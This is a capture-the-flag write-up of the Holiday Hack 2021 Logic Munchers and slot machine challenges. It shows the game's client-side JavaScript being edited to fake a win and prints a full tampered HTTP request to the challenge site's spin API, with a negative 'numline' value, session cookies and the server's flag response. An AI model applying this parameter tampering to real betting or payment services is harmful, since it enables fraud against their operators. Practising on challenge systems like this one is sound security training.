Holiday Hack 2021: Slot Machine Investigation
Objective
Terminal - Logic Munchers
Challenge
Noel Boetie is just next to the entrance to Santa’s with another Pi terminal:
Hello there! Noel Boetie here. We’re all so glad to have you attend KringleCon IV and work on the Holiday Hack Challenge!
I’m just hanging out here by the Logic Munchers game.
You know… logic: that thing that seems to be in short supply at the tower on the other side of the North Pole?
Oh, I’m sorry. That wasn’t terribly kind, but those frosty souls do confuse me…
Anyway, I’m working my way through this Logic Munchers game.
A lot of it comes down to understanding boolean logic, like
True And False
isFalse
, butTrue And True
isTrue
.It can get a tad complex in the later levels.
I need some help, though. If you can show me how to complete a stage in Potpourri at the Intermediate (Stage 3) or higher, I’ll give you some hints for how to find vulnerabilities.
Specifically, I’ll give you some tips in finding flaws in some of the web applications I’ve heard about here at the North Pole, especially those associated with slot machines!
The terminal presents a game, Logic Chompers:
Playing the game presents a board with a bunch of boolean statements. The stage impacts the difficulty, and there are also five different categories:
- Boolean Logic:
- Arithmetic Expressions
- Number Conversions
- Bitwise operations
- Potpourri - A mix of all of the above
Solution
Playing the game on Potpourri and beating levels 1-3 unlocks the challenge, and it’s not too hard. But the more interesting way is to hack the game. I’ll show a few ways here:
There are two ways I exploit this code. The first thing I found was the checkWin
function:
function checkWin() { // check to see if the stage has been won
let workToDo = false;
for (var col = 0; col < challenges.length; col++) { // check each cell for a true statement
for (var cell = 0; cell < challenges[col].length; cell++) {
if (challenges[col][cell][1] == true) {workToDo = true;};
}
}
if (!workToDo) { // work's all done? stage up!
if (sound){soundWin.play();}
while (trollogs.length > 0) {trollogs[0].die(trollogs[0]);} // kill all trollogs
chomper.avatar.src = "/static/chomper-ahh.png" // pose for victory
let buddies = document.getElementsByClassName("lives")
for (i = 0; i < buddies.length; i++) {
buddies[i].src = "/static/chomper-ahh.png"; // extra lives are happy too!
}
wigwags("Stage "+stage+" complete!");
chompyMoving = true;
chompyFlexTime = new Date().getTime() + 2000;
chompyFlex();
}
return !workToDo; // if there's no work to do, checkWin returns true
}
If I delete where it workToDo = true;
, then it will advance to the next stage each time this function runs, which is about every second (on each Trollog move).
The chompyFlex
function is where the actually registration of my completion happens with Holiday Hack:
function chompyFlex() { // Flex that Chompy for two sec
let now = new Date().getTime();
if (chompyFlexTime < now) { // time to get back to game?
let buddies = document.getElementsByClassName("lives")
for (i = 0; i < buddies.length; i++) {
buddies[i].src = "/static/chomper.png"; // extra lives are content again
}
chompyMoving = false; // paralysis over!
chompyFlexTime = undefined;
chomper.avatar.remove(); // prep the next stage
stage += 1;
if (stage % 3 == 0) { // every three stages brings about a difficulty level increase
level += 1;
}
if ((stage >= 3) && (style == 4)) {__POST_RESULTS__(victoryToken);}
ws.send('{"Type":"GameStart","Level":'+level+',"Style":'+style+'}'); // new stage info will trigger board rebuild
}
}
This function is called when I win a level, so I can start the easiest level with a break at the if
before __POST_RESULTS__
, win the level, and then set stage
and style
in the console, and let it play, and that will also give my the completion.
Slot Machine Investigation
Hints
Noel is impressed, and offers some hints:
Wow - amazing score! Great work!
So hey, those slot machines. It seems that in his haste, Jack bought some terrible hardware.
It seems they’re susceptible to parameter tampering.
You can modify web request parameters with an intercepting proxy or tools built into Firefox.
He also unlocks two hints in the badge:
- It seems they’re susceptible to parameter tampering.
- Web application testers can use tools like Burp Suite or even right in the browser with Firefox’s Edit and Resend feature.
Challenge
There’s a link to the slot machine interface (webpage) in my badge, or I can go into Frost Tower and click on one to play:
The modern slot machine interface is meant to not be clear to the player, and this one is no exception:
Solution
The idea is to mess with the POST parameters to trick the system:
Sending the POST request to repeater and making either the numline
or cpl
parameter negative (and big!) allows getting money back for a loss:
POST /api/v1/02b05459-0d09-4881-8811-9a2a7e28fd45/spin HTTP/2
Host: slots.jackfrosttower.com
Cookie: XSRF-TOKEN=eyJpdiI6ImtQRVpXYTJ2bmVxNzcybVVZQ29YZ3c9PSIsInZhbHVlIjoiSUMxRnZ0b1ZLa0Q1R3JNS08rS21TQXdyclN3R3NDSE9FVVRyV3laUExlOGtxM2JHMFpMczRGK0ZBRjZxZnlacDNiREFJRzBGeXBQaGlqRnh4aUNYMzN2N0QxVnE5RTZ6NGhUS3A0QnJIL1JoRCs1ZGZqZkpDaXVKeXZodzZBVDMiLCJtYWMiOiI0MDBjOTk0Nzg5ZDdlMjE5NWUzODZmNDhmMjk1ZTI5Zjk3NTcxOWVjYWIxNTY5N2Y1MzJmNjlkNDJmMTE4Yjc4IiwidGFnIjoiIn0%3D; slots_session=eyJpdiI6IjB1K0tYVkFmbW40OHJ3UDVNWUo1ZFE9PSIsInZhbHVlIjoiS0RUY2VBVjd4RmVoUUxHb01qVnFFWnMxamhBNFgyNjdVTkMyWXZFNVZXbFNLa1FSdHIrelNnRnE1Zk1PODk1NFJCM0JLTGphL2UwbVkzZ2dCVGtrYk01SnZ2UWNCcElpdjJORzlJRmwvUEpuRy9idG45QjdQdjRFeVFRVU5XQWQiLCJtYWMiOiI3ODE4OWYyNzA5MWI1MjdkNDkwNjliOTZhZGUzMWNkYjYwYmNiMDQ1MTMzNDgwYzM5ZDc3MDc3NWI1MjAwYzgzIiwidGFnIjoiIn0%3D
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Ncash-Token: 79fbb877-f7a5-41fb-b25a-41902e9e1f4c
Content-Length: 33
Origin: https://slots.jackfrosttower.com
Referer: https://slots.jackfrosttower.com/uploads/games/frostyslots-206983/index.html
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
betamount=10&numline=-200&cpl=0.5
After a few POSTs, The response comes back with the string I’m looking for:
HTTP/2 200 OK
Date: Mon, 03 Jan 2022 12:41:58 GMT
Date: Mon, 03 Jan 2022 12:41:58 GMT
X-Powered-By: PHP/7.4.26
Cache-Control: no-cache, private
Content-Type: application/json
X-Ratelimit-Limit: 60
X-Ratelimit-Remaining: 59
Access-Control-Allow-Origin: *
Via: 1.1 google
Alt-Svc: clear
{"success":true,"data":{"credit":1107,"jackpot":0,"free_spin":0,"free_num":0,"scaler":0,"num_line":-200,"bet_amount":10,"pull":{"WinAmount":0,"FreeSpin":0,"WildFixedIcons":[],"HasJackpot":false,"HasScatter":false,"WildColumIcon":"","ScatterPrize":0,"SlotIcons":["icon2","icon1","icon4","scatter","icon10","icon3","icon6","icon1","icon7","icon10","icon9","icon8","wild","icon5","icon1"],"ActiveIcons":[],"ActiveLines":[]},"response":"I'm going to have some bouncer trolls bounce you right out of this casino!"},"message":"Spin success"}
Flag: I’m going to have some bouncer trolls bounce you right out of this casino!